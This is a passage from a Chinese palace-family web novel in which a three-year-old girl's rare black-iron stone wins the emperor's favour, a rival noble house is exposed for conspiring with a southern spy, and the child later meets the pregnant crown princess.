“将军这好像是玄铁石,传闻这玄铁石,做的武器削铁如泥。”边上的陈开不确定地俯下身在顾应决耳边,低声道。
“而且极其罕见,乃绝世珍宝。”
顾应决捏了捏手里的小块石头,指腹轻轻在尖锐处一滑,皮肤便轻轻划出了一道小口。
“瞒着,此事不可声张。”顾应决开口道。
“下官明白。”陈开点了点头。
次日,天大亮了没有多久。
一行人闯进了将军府。
“陛下有令,顾应决,顾寒舟,还有将军府的小小姐,即刻前往皇宫觐见。”锦衣卫崔指挥使带人进前厅,扬声道。
“还请将军立刻进宫,别让陛下等急了。”
崔指挥说完朝着轮椅上的顾应决行了一礼,便匆匆离开。
乖宝迷迷糊糊中被人抱着上了马车。
马车内异常的安静,顾寒舟用一张毯子裹着乖宝的小身板,马车里的位置有些狭窄,乖宝缩着躺在顾寒舟怀里,并不太舒服,但并没有妨碍到她的睡意。
顾应决瞥了一眼他怀里,露着半张小脸,闭着眼睛的小家伙。
“三哥,你是不是早就知道,今日陛下会召见我们?”顾寒舟拉了拉毯子,防止毯子遮盖住小家伙的鼻息,压低了声音轻声问道。
顾应决开口道:
“给我。”
顾寒舟一时有些没有反应过来,他想要什么,直到对上顾应决的眼睛,才察觉到对方说的是什么。
“三哥,你的腿……要不还是我来抱着乖宝吧。”顾寒舟舍不得放下,睡在自己怀里乖乖软软的小家伙,舍不得放手。
“没事,给我。”顾应决压低了声音,语气有些冷硬。
顾寒舟对上顾应决那双迫切的目光,心头一紧,还是将乖宝轻轻地递了过去。
第七十章 我们秦国的福星!
顾应决伸手接过了乖宝,乖宝没醒,而是在他怀里找了个舒服的位置又继续睡了。
他抿了抿唇,小崽子睡觉跟头小猪仔一样。
顾寒舟盯着安静睡熟的乖宝,满脸的羡慕,要是乖宝是他的女儿就好了。
什么时候,他也能生一个这样香香软软的女儿呀。
不过就算生了,也不是乖宝。
哎……
“将军,四公子到了。”外面的下人开口道。
他们刚下了马车乖宝就醒来了,她从顾应决抱着的毯子里探出一个小脑袋来,仰头诧异地扫了一眼四周,又看向顾应决。
“爹这是哪儿,乖宝不是在家里吗?怎么到这儿来了。”乖宝揉了一把小脸,半眯着眼睛,含含糊糊开口道。
“早上陛下的人叫我们进宫,你还没醒来,便直接将你抱着上了马车。”边上的顾寒舟率先开口解释道。
“原来是这样呀。”乖宝挠了挠自己的小脑袋,捂着小嘴打了哈欠,望着高高的宫墙。
边上的顾寒舟拿出手帕,用水袋的水弄湿了给乖宝擦脸。
她摇摇头:“乖宝自己来。”
乖宝接过顾寒舟的手帕,拿着手帕擦了擦小脸,还有自己的小手,坐在顾应决的怀里东看看西看看,她感觉这个地方,跟之前来时有些不一样。
御书房门口,立着好几名身穿盔甲的将士。
顾应决同跟前守着的锦衣卫统领崔大人说了几句话,统领俯下身推开跟前那扇门,走了进去。
没多久,他又走了出来,“顾将军请吧。”
御书房的门敞开,皇帝背对着他们站在书案后。
顾应决因为不方便,只冲着皇帝抱拳,顾寒舟带着乖宝跪下,“臣,顾寒舟见过陛下。”
乖宝跪在地上,悄悄抬起小脑袋,打量跟前背对着自己的男人,这个人是这儿最厉害的人吗?
爹怕他,坏蛋叔叔也怕他。
她又偷偷打量着御书房,最后将目光看向侧边两个跪着的人身上。
一人是个中年老头身上穿着官袍,脸上长着半拉胡子。
另外一人看着年轻,只不过右眼上绑着绷带,脸肿的发青发紫都看不清楚原来的样子,那人看到他们进来,瞪着另一只眼睛,死死盯着顾应决跟顾寒舟的脸,最终将目光看向乖宝。
乖宝那双水灵灵的大眼睛,正好跟他对视。
林玄泽感觉右眼隐隐作痛,捂住了眼睛咬牙,恨不得上前掐死跟前那个小贱种。
“求陛下,给臣的儿子讨一个公道。”林伯爷抬手做了个请示的手势,开口道。
“好你个顾寒舟,一清醒就给朕惹这么大事,你为了裴太傅的女儿,抢亲朕理解你年轻气盛,但也不该动手弄瞎林玄泽的眼睛。”皇帝转身,瞥了一眼地上跪着的人。
这顾寒舟当真是清醒了?
“不是的,不是的!”乖宝从地上爬了起来,连忙摆了摆小胖手。
“是,是乖宝伤了他的眼睛。”
林玄泽冷斥道:“陛下跟前,岂是你一个小屁孩能胡言的!”
皇帝不悦地开口道:“你给朕闭嘴。”
这对父子一大早就来告状,吵得他耳根疼。
林玄泽不敢在出声,只好闭上了嘴。
“你就是顾应决的女儿?”皇帝之前听太后提起过乖宝,也听皇后跟端妃提起过这孩子,心里好奇她是否真如突她们所说的那般,身上带着福运连久病之人也能因她转好。
乖宝为了让自己解释的更清楚一点,她朝皇帝走进了一些,手脚并用的比划。
“昨天他把我四叔踩在脚下,然后乖宝抓起了石头丢他……”
皇帝盯着乖宝,望着小团子手舞足蹈的动作,心里不由的犯软,这孩子看着跟顾应决还真不一样。
“他那眼睛真是你伤的?”
“嗯嗯,你要罚就罚我一个人吧。”她瘪嘴,拍着胸脯,扬声道。
皇帝望着她认真的样子,嘴角勾了勾,这小家伙倒有几分骨气,“那你又是用什么伤的他?”
林玄泽看着二人心里又有了跟上次一样的悸动,这小丫头在不会又出岔子吧。
肯定是错觉!
这次是将军府理亏,伤他又是事实。
她们必定逃不了。
“陛下您别听她胡说,她一个孩子怎么可能单靠一块石头就打伤臣的眼睛。”林玄泽瞥了乖宝一眼,等解决了
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顾寒舟,在收拾这个死丫头。
皇帝眼中存疑,小孩力气在重也不可能伤到林玄泽的眼睛。
乖宝一听赶紧从衣袖里摸出了一个黑色的石头,“我真的用石头打的他。”
“就是这个石头。”
皇帝盯了一眼她手里的东西,眸光怔愣了一瞬,觉得有些眼熟,却又不太敢轻易确认。
边上的崔大人上前,目光扫了一眼她手里的东西,眼眸闪了闪又立刻恢复平静,他从乖宝手里取了那石头,递到了皇帝面前。
皇帝仔细望着桌上的那块石头,取了桌案上的一本册子,轻轻在石头尖锐之处一滑,那册子便立刻被轻易划破了一道口子,指腹只施加了一些力气,那册子立刻被划开成两半。
“把你腰间的剑给朕。”皇帝眉宇向上抬,眼中亢奋,立刻朝边上的崔统领抬手。
崔统领赶紧抽出腰间的佩剑递给了皇帝,皇帝朝着那块碎石砍了过去。
“砰!”的一声脆响,火光闪过,桌案上那柄剑出现裂纹,“咔”的一声瞬间裂成了两半。
剑落在桌案上,发出了一声响动。
“陛下,这难道就是传闻中削铁如泥的玄铁石?”边上的崔统领睁大了眼睛,嘴唇微张,激动地摸了摸腰间只剩下的剑鞘。
“不错,就是这东西,当年父皇西征时从南昭国带回来了一小块,父皇用那石头做成了**,整个秦国就只有那一块,如今那**还藏在父皇的陵寝!”皇帝气息有些不稳,没想到他有生之年还能再次看到这东西。
他往后退了一步,又垂眸看向地上那个睁着双葡萄大眼的小女娃娃。
心中的惊骇,又欣喜。
“好好好,你当真如太后所说是我们秦国的福星!”
林玄泽眼神变了变,下颚紧绷。
陛下什么意思,这小贱种拿出那石头,就是弄瞎他眼睛的凶器,怎么陛下还一副看到宝一样。
甚至还直接无视了他们父子二人。
难不成陛下要看在皇后跟老将军的面子上,就这么放过将军府?
地上的林玄泽咬了咬唇,“陛下,臣想起来了,这东西就是弄伤臣眼睛的凶器……”
第七十一章 乖宝不怕死
“她这么一个三岁孩子,打小心思就如此狠辣,一出手便刺瞎了臣的眼睛,等她人再大些还得了,日后还不得将整个京城搅合的乌烟瘴气。”林玄泽明面上说的是乖宝,话里话外都有意指责将军府对乖宝的管教。
“你这话何意?我家乖宝才三岁,在看见亲人受伤,唯一的办法就是捡起地上的石头帮忙,她甚至都不知晓,这地上的石头能刺伤林大人。”
“我知林大人心中愤怒,但乖宝也不是有意为之,若林大人非要算账,那便怪在我头上吧。”顾寒舟冷冷看了他一眼。
“顾寒舟,我的眼睛如今伤成这样,难道她就不该负责?”
林玄泽气得满脸通红,指腹掐进了手掌心。
“当然还有你,企图抢我未婚妻不说,还重伤我!这事跟你还有顾应决都脱不了关系。”
“林大人,方才又说是我伤了你的眼睛,怎么现在又改口了,难不成脑子打坏了。”顾寒舟抽嘴。
林玄泽动了动唇,心虚地开口道:“我当时伤成那样,又没能完全看清楚,她又小,我自然以为是你……”
“陛下,既然这孩子已经承认是她伤了我,那便由陛下做主,给微臣讨个公道。”林玄泽抬眸看了一眼皇帝身边的乖宝,扬声开口道。
“陛下,都是乖宝的错,你要罚就……罚乖宝吧。”乖宝上前,瘪着小嘴拉了拉皇帝的衣摆。
“小家伙,你不怕朕治罪,叫人砍了你的小脑袋?”皇帝俯下身来,摸了摸乖宝的小脑袋,低声问道。
乖宝闻言缩了缩脖子,眼睛睁得大大的,眨了眨皱起眉头,“砍脑袋会不会很痛呀。”
“陛下,你能不能给乖宝换一个不疼的惩罚?”她努力思考着开口道。
“乖宝怕疼。”
皇帝静静望着身下的孩子,又好奇地问了一句:“那你就不怕死吗?”
乖宝想了想,天真地开口道:“**还能吃到好吃的东西吗?”
皇帝:“不能,**就什么都没有了。”
“那……”
乖宝杵着小脑袋,垂眸一时间陷入了深深的沉思中,过了没几秒钟,她的小肩膀微微下沉,又长叹了一口气。
她脸上染起了沮丧的情绪,又瞬间变得坦荡:“如果是那样的话,那就死趴,死的话乖宝说不定还能见到娘亲。”
“这样乖宝又能跟娘亲在一块啦。”
这话一出,皇帝跟顾应决他们瞬间瞳孔一滞。
还以为这孩子会害怕,没想到,她从未为畏惧生死。
甚至她还对生死,抱着一种极其积极的想法,比许多成人都还要通透。
就在这时,御书房的门敞开。
“我看谁敢动乖宝!”太后气冲冲地走了进来。
她身边扶着的人正是皇后,皇后扫了一眼御书房的众人。
众人见状纷纷朝着太后下跪。
“母后,您怎么来了?”皇帝立刻走了过去。
“哀家听说有人要向陛下告状,还要砍了乖宝的脑袋。”太后拂袖,威严地站在林家父子跟前,冷冽的目光朝他们扫视了一眼。
“太后娘娘,您虽然身份尊贵,但这样的事情还是要讲究公证,她人小但犯下大错,也不能因此包庇啊。”林玄泽不服气道。
太后朝着乖宝抬了抬手,“她是有错,但也是无心之举。”
“可……”林玄泽拢拳。
他怎么把太后给算漏了!
“陛下,端妃跟景王求见。”外面的太监扬声道。
皇帝撇了撇嘴,只感觉脑袋疼,今日这是扎堆来了?
“让他们进来。”
端妃跟景王悠悠走了进来,跪在了青石地板上。
“你们二人今日来又是为了什么?”
“儿臣,请父皇饶恕将军府的小小姐,她年纪小不懂事,惹祸也正常。”
端妃垂眸:“臣妾也请陛下饶恕这孩子。”
这孩子能救槿,现在还不能死。
皇帝扫了他们一眼,心里有些纳闷,景王母子跟皇后将军府一直都不对付,今日怎么突然过来替小家伙求情了。
“陛下……”外头又传来太监的声音。
还没出口,皇帝蹙眉问。
“又怎么了?”
这又有谁来给小家伙求情了?
小家伙年纪小,护着她的人还真不少啊。
皇帝悠悠看了一眼,偷
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偷摸摸还在吃干果的小团子,她显然对如今的处境一无所知。
“裴太傅来了。”
“让他进来!”皇帝余光扫了一眼,御书房内站着的众人。
“陛下。”裴太傅走了进来,撩袍跪下,开口道。
“臣有罪,还请陛下饶了将军府的那孩子,这一切都由裴府而起,跟将军府的众人无关。”
裴太傅将事情的来龙去脉告知皇帝,“将军府诸位也都是为了我裴府。”
乖宝不懂他们这些大人在说什么,摸了摸肚子,趁大家在说话,又悄悄掏出荷包,捏一块糖块塞嘴里。
“好了,既然裴家,顾家,林家都有错,那便……”皇帝目光转向地上跪着的人,沉思道。
“陛下!”外头的太监又扬声道。
“又是谁来了?”皇帝又问。
“是,左将军陈开有事启奏。”太监道。
“让他进来。”
陈开走进屋,单膝跪下,“陛下,臣查到林府私通南疆之人意图谋反!”
“陛下,他胡说,我们林家世代忠良,怎会做出如此大逆不道之事?”林父吓的赶忙开口道。
“请陛下莫要信他胡言冤枉了老臣。”
顾应决见状道:“陛下,前些日子我四弟突然清醒,臣也查到了一件事,他之所以得疯病,因是中了一种南疆的巫蛊之术。”
“臣彻查,发现林公子三年前便与青楼一名女子交好,而那名女子现在已经被林府公子接入府中做了妾室。”
“那女子便是南疆之人,且精通巫蛊之术,陈四弟身中的蛊毒正是那女子所下,臣没想到林公子会因为当年一些私怨,对臣的弟弟下如此狠手。”顾应决余光扫了一眼惊慌的林玄泽,冷漠地抱拳,开口道。
陈开在边上又道:“陛下,臣彻查那女子,不仅在勾搭了林公子,还跟一些朝中官员有密切联系,臣怀疑那女子便是南疆派来的奸细。”
“臣还在那女子之前待过的屋子里,搜查到了南疆巫蛊**。”
“还盘问过曾经那女子待过的青楼,青楼的掌事人,还有伺候那女子的丫鬟,当场承认,那女子并非中原人。”
第七十二章 乖宝:噢耶!坏蛋完蛋了。
他从衣袖中拿出一本册子,还有仆人写下来的证词。
“臣为了陛下的安全,秦国的百姓的安危,特意去了林府一趟意外发现了这些东西。”
陈开把自己偷偷去林府搜查的事情,说的冠冕堂皇,还从衣袖里掏出几个册子,还有好几封密函。
“这些东西足以证明她敌国奸细的身份。”
皇帝接过陈开手上递来的东西,翻开看了几眼,随后气愤的将那册子丢在了地上。
“好你个林玄泽,你好大的胆子!”
“在朕的眼皮子底下,居然还敢勾结南疆。”
“陛下,臣真是冤枉啊,臣从未干过此事,这里面一定是有什么误会。”林父吓的脸色发白,颤抖着身子,连忙道。
“还有什么误会,证据确凿,你们还有什么可狡辩的?”皇帝气的拍案。
林玄泽心乱如麻,根本没法冷静下来:“陛下,是将军府污蔑我林府,求陛下给臣一个公道。”
他明明做了万全之策,顾应决到底怎么发现的?
“公道?林玄泽,你让人给我下毒,害我这三年来深受痛不欲生,你还喊冤。”
顾寒舟咬牙道:“臣,恳求陛下严惩林家,还臣一个公道!”
皇帝朝着身边的崔统领摆了摆手:“去带人把林家给朕镇围了,把里里外外给朕搜个遍。”
“将那毒妇给朕抓了,让大理寺好好盘问,真的要看看一个南疆女子,到底都对朕的江山社稷做了些什么。”
“来人将林家父子关入大牢,听候审问。”
“陛下臣冤枉啊!”
林玄泽指腹紧紧按在青石地板上,似要将石块捏碎。
不。
他还不能死,顾寒舟跟这个臭丫头还没死呢!
他林玄泽还要当京城最厉害的武将,顾寒舟那厮才刚醒,他还要将顾寒舟踩在脚下呢。
“略略,坏蛋,原来是你害四叔疯了三年,大坏蛋。”乖宝冲过去,抬脚踹林玄泽。
他那一脚又正好踹到了林玄泽的下巴,触碰到了林玄泽原本就有的伤口。
林玄泽疼的捂住了下巴,眼中的杀意更浓烈,都是这个死丫头,他就知道每次她在绝对没好事!
他一定要杀了她。
林玄泽似是将身上所有的怒意,全都发泄在乖宝一个人身上。
顾应决把她拉自己跟前,目光睇了林玄泽一眼,“小心,狗急了会咬人。”
“狗?哪来的狗狗。”乖宝疑惑地挠头,扫了一眼四周。
林玄泽嘴里的牙都快咬碎了,恶狠狠的盯着顾应决,嘴角露出诡异的笑意:“顾将军,你家这小屁孩,太招人了。”
“你可得护好了,哪天惹人眼,叫人掐**,后悔可晚了。”
顾寒舟一把揪起林玄泽的衣领,“还没打够是吧!”
“好了,当朕这儿什么地方?他们入了大牢,自有大理寺接手。”皇帝呵斥道。
林玄泽父子被人带走。
皇帝扫了一眼,桌案上的玄铁石,朝着乖宝招手,“过来。”
“你这石头哪儿来的?”
她仰头望着皇帝,笑露着两排大牙,“乖宝捡来的,陛下你喜欢吗?喜欢乖宝送你啦。”
“嘿嘿!”
皇帝听到她稚嫩的声音,一来是因为得到这块玄铁石,二来是觉得这孩子有趣,龙颜大悦道:
“既然你送给朕了,那朕自然也免不得给你东西,你想要些什么?”
乖宝斟酌了片刻,仰起头来揉了揉肚子:“窝……我还没吃早饭呢,现在肚肚饿……”
她眼巴巴望着皇帝,就像一只讨食的小猫。
众人被她这童言童语给逗笑了,方才那紧张的氛围立刻松弛了下来。
皇帝捏了捏她的小脸,打道:“你就这点要求?”
乖宝舔了舔唇瓣,难道这个要求还不够吗?
一块石头换一顿饭了哦。
她试探性开口道:“那……那乖宝要吃,皇宫最最好吃的菜菜,要要三顿!”
乖宝索性,伸出一只手来,比了三根手指头。
皇帝看她小心翼翼的开口,忍不住抿唇,“行,朕答应你,日后只要你想进宫,就随时能进宫用膳。”
他从腰间取了一枚玉佩,递给乖宝,“去吧,日后拿着朕的玉佩,在宫里想吃什么都行。”
乖宝捏了捏手里温润的玉佩,仔细瞧了一眼,这个玉佩是龙纹,也挺好看的嘛。<
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br>她把玉佩揣衣袖里,开心的跳了几下,“嗷耶,谢谢陛下!”
皇帝看着活蹦乱跳的小家伙,清了清嗓子,“你应当唤我一声姨公。”
“嗷嗷,姨公!”乖宝不懂这是什么称呼,但大人说让叫她就乖乖叫了。
皇帝子嗣不算多,身边的子子孙孙心思也多,而且每次见到他,一个个都怕的紧不敢说话,
没几个像乖宝这样的。
“行了陛下,既然事情了了,那我们先带乖宝去后宫了,她一个孩子待在前朝甚是不便。”太后抿了抿唇,开口道。
乖宝拉住了太后的手,跟身后几个男人道别,而后跟着太后出去了。
皇帝望着小丫头的身影,捏了捏手里的石块,这孩子真不错,不愧是身怀大运之人。
随便捡的石头,都是玄铁石块。
乖宝让太后拉着去了寿康宫,那边宫女们早就准备好了膳食。
“太后娘娘,儿臣/臣妾,先告退了。”皇后跟端妃见状,也不好继续待下去纷纷开口道。
“既然都到了,就留下一块用膳吧。”太后抬眸看了她们一眼,眯着眼睛,摆手道。
二人只好坐下。
乖宝坐在圆凳上,盯着一个长方形大桌子,上面堆满了各色各样的菜。
她瞪大了眼睛,咽了咽口水,“哇!好多的菜菜。”
“一,二,三……”
“乖宝都数不过来啦,有一百不对一百多……”
这些菜的种类,比她在将军府里见过的还要多。
她的小肚皮发出了一阵空鸣声,“咕噜……”
“乖宝饿了吧,快吃吧。”太后给乖宝夹了个大鸡腿,满脸慈爱道。
“嗯嗯,谢谢太后奶奶!”她抓着鸡腿咬了一大口,一边咀嚼一边抬眸望着太后笑。
边上的刘公公端着碟子,捏着银筷子,将每种类型的菜都夹了一块,端到乖宝面前。
乖宝挨个尝了一遍,小嘴巴都塞的装不下了。
端妃瞥了她一眼,将军府这孩子教的一点大家闺秀的样子都没有。
也就是太后,皇后,皇上稀罕她。
要不是这孩子能救景王世子,她才不愿意跟皇后坐一块。
第七十三章 乖宝盯着太子妃的肚子:说不是弟弟跟妹妹。
太后:“乖宝想做什么?”
乖宝撸撸嘴:“这么多菜吃不完,好多都没有吃呢,乖宝也想带回去给爹还有祖母他们吃。”
不可以浪费哦!
端妃撇嘴,该说不说,这孩子还挺会讨东西。
御膳房的菜臣子根本吃不到,除非宫中御赐。
那可是圣宠。
放眼整个皇城,有几个臣子有这份殊荣,说出去百官都得羡慕。
“娘娘,这孩子真孝顺,自己吃到好的还知道带回去给父母长辈。”边上的刘公公,笑着应和道。
太后摆手:“去御膳房给这孩子带上几份,让她带回将军府。”
刘公公得了旨意,退下差人安排去了。
“太后娘娘,太子跟太子妃来了。”就在此时,外面的宫女开口禀告道。
太后擦了擦唇瓣上的污渍,“让他们进来吧。”
乖宝好奇地往宫殿门口看了去,只见一身穿四爪龙袍的年轻男人,扶着一个大肚子身着华贵衣服的女人走了进来。
两人纷纷俯下身行礼。
“都起来吧,来人赐座。”太后摆了摆手道。
太子扶着太子妃在侧边的椅子上坐下。
“太子妃这肚子快生了吧?”端妃抬眸盯了一眼,太子妃那高高隆起的大肚子。
“九个月了,太医说还有一个月便生产了。”太子妃回应道。
乖宝坐在太后怀里,捏着自己的小手揉着吃撑了的肚子,伸着脑袋盯了一眼,太子妃的肚子,睁了睁眼睛。
“姨姨,也跟乖宝一样吃的肚肚鼓起来啦。”
“噗!”众人听到她的声音,忍不住笑了笑。
“乖宝,太子妃肚子里有孩子。”皇后跟她解释道。
“乖宝仿佛听到了什么不可思议的事情,瞪大了眼睛,而后求证似的,从太后的怀里滑了下来,迈着自己的那双小短腿,小心翼翼走到了太子妃的跟前,生怕惊扰了太子妃肚子里的孩子。
她双手揣在胸前,十分惊奇地打量着太子妃的肚子,眉头抬得高高的。
“宝宝……宝宝在肚肚里?”乖宝呆呆愣愣开口。
太子妃望着跟前乖巧软绵的小团子,伸手摸了摸自己的肚子,想到自己肚子里即将出生的小家伙,眼底满是温柔。
“嗯,他马上也要出生了,以后也会跟你一样能跑能跳。”
“嘿嘿,乖宝可以摸摸吗?”她稀奇地盯着太子妃的肚子,上下打量了一眼,挑着眉头。
姨姨的肚子里,真的可以出来一个像乖宝一样大的孩子嘛。
“你摸摸看。”太子妃温声开口道。
乖宝上前迈了一步,伸出肉乎乎白胖胖的小手,轻轻搭在太子妃圆鼓鼓的肚子上面,就在这时太子妃肚子里的孩子,就像心灵感应一般突然动了一下。
“哇啊!”她吓了一跳,赶紧撤回手,往后退了两步。
“他动了,他动了。”
“真巧了,这段时间他都不爱动,乖宝一碰他,他就动了,说明他喜欢你,想跟你打招呼。”边上的太子拂了拂衣袖,笑着道。
这就是顾应决的女儿?
长得真不错,要是孤也能生个这样的女儿,那就好了。
“真的吗?”乖宝眨了眨眼睛。
“嗯嗯,不信你再摸一摸。”
她又温温吞吞走过去,伸出了小手,这会儿肚子里的动静更大了。
这会儿乖宝没有抽回手,惊讶之余,她发现太子妃皱着眉头,嘴里发出呻吟,看上去很难受的样子。
“不许不乖哦,你娘亲难受啦。”乖宝摸着太子妃的肚子,奶声奶气指责太子妃肚子里的孩子。
“你要是不乖,出来就要揍屁屁的。”
太子妃肚子里的孩子,仿佛听懂了乖宝的话一样,更加肆无忌惮地朝着她碰太子肚皮的那处踹。
“太子叔叔,他太不听话了,肯定是个淘气蛋!”她皱着眉头,轻轻摸了摸肚子,侧头就跟太子告状。
“好,出来就揍他。”太子让她生气,蹙眉头认真的样子,忍不住顺着她的话哄道。
太子妃的肚子还真就消停了。
“他知道了,都不敢动了。”太子妃含着笑意道。
“乖宝,你这知道太子妃肚子里的孩子,是弟弟还是妹妹?”边上的端妃一听,问了一句。
太子子嗣不丰,太子妃肚子里的孩子,也是他第一个嫡子嫡女,所以不仅宫中盯得紧,就连朝堂也跟的紧。
这话一出,太
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子妃暗暗攥紧了手,眉头往下压,眼底染上了几分担忧。
她嫁的是太子,若是第一胎不是皇孙,只怕会引来宫中朝堂的诟病。
就连太子也要承受朝臣们的口舌**。
“不过,我听将军府小姐说是个好动的,想来应该是个皇孙。”端妃又笑着开口道。
太子,皇后,太子妃三人脸色都变了变,殿内没人应声。。
“嗯?”
“乖宝不知道呀,嘿嘿。”乖宝摸着肚子,憨憨笑着道。
她自言自语开口道:“是弟弟还是妹妹呢,乖宝也想知道。”
太子眯着眼睛温和笑着道:“无论是儿是女,那都是孤的孩子,孤都会疼爱她。”
“哦!说不定是弟弟跟妹妹呢。”乖宝突然想到什么,来了一句。
“要真是弟弟跟妹妹,那就让他们陪乖宝玩。”
太子听到她这话,忍不住笑着道。
这孩子说话真招人喜欢。
“嘿嘿真的吗?”
“当然。”
“噢耶,那你们要快快出生哦,出来乖宝给你们糖吃。”乖宝摸了摸太子妃的肚皮。
端妃本来想用这话,呛太子跟皇后,她余光瞥了一眼乖宝,什么怀双胎,太医院那边每日把脉,要真有双胎早就有消息了。
还以为这孩子有多能耐,也不过如此嘛。
皇后母子有这么好的福气,要么没孩子,一下来两个?
端妃不以为然地笑了笑。
乖宝在殿内待了会儿,大人们聊天她觉得无聊,冒着脑袋往殿外看。
太后有所察觉,摸了摸她的小脑袋,“刘公公,你带着乖宝出去玩。”
话落,乖宝瞬间提起了神,从太后怀里下来,拉着刘公公的手,往殿外走。
乖宝感觉只要出来,不闷在屋里,她去哪儿都可以。
在屋子里待着真是太无聊啦!
“小姐,前面就是御花园了,咱们去那转转?”
“好哇。”乖宝拉着刘公公的手,迈着小步子,往御花园走。
长长的宫墙,乖宝走累了,她拽了拽刘公公的衣袖。
抬着小脑袋,朝着刘公公张开双臂道:“刘公公,抱抱。”
说话的声音,温温软软。